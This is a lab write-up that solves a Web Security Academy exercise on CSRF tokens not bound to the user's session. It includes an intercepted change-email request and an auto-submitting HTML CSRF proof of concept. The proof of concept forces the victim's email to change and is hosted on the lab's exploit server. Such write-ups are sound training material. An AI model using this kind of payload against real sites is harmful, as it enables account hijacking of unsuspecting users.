CSRF where token is not tied to user session

Description

This lab's email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren't integrated into the site's session handling system.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.

You have two accounts on the application that you can use to help design your attack. The credentials are as follows:

  • wiener:peter

  • carlos:montoya

Approach

After logging in as the user "wiener," I intercepted the change email request and sent it to repeater for further analysis:

POST /my-account/change-email HTTP/2
Host: 0adf00a5045e78f281ec39f700ba004a.web-security-academy.net
Cookie: session=ROYdoyvbtQk2BHjkhQ7WVnX9mrjMbzMW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0


email=qweqqwe%40qwe.com&csrf=aSEPIQhmamc6pGjbJRpQE2fZzoVDowEZ

I noticed that the CSRF token is one-time usable, which I took note of. Given that I had access to two accounts, I logged in as the "carlos" user in a private window and intercepted the requests through Burp Suite. I then used Carlos's CSRF token in Wiener's change email request. To get the token, I inspected the source code of the home page after logging in, where I found it in the following tag:

<input required type="hidden" name="csrf" value="Wb6dK3wPxtW5jmxBwAbC6kgH2HK90bb1">

By copying this CSRF value and using it in Wiener's POST request, I confirmed that the request went through successfully. This indicated that the CSRF token is not tied to the user session and only checks if it exists in the server's CSRF tokens pool.

To build my CSRF PoC, I needed a valid, unused CSRF token. I refreshed the home page of either Carlos or Wiener (since it didn't matter whose token I used) and found a new CSRF value in the page's source code:

<input required type="hidden" name="csrf" value="InS01omLKQ0DdL0ecP1ytxnpPhBEBgVW">

With this new CSRF token, I generated my CSRF PoC by right-clicking the request and selecting Engagement tools / Generate CSRF PoC. The following HTML was generated:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0adf00a5045e78f281ec39f700ba004a.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="ichyaboy&#64;qwe&#46;com" />
      <input type="hidden" name="csrf" value="InS01omLKQ0DdL0ecP1ytxnpPhBEBgVW" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

I modified the email value to a new one to avoid any errors related to reused email addresses. After copying the CSRF PoC, I placed it on my malicious page on the exploit server.

By clicking Store and Deliver exploit to victim, I saw that the lab was solved, confirming the change of the victim's email.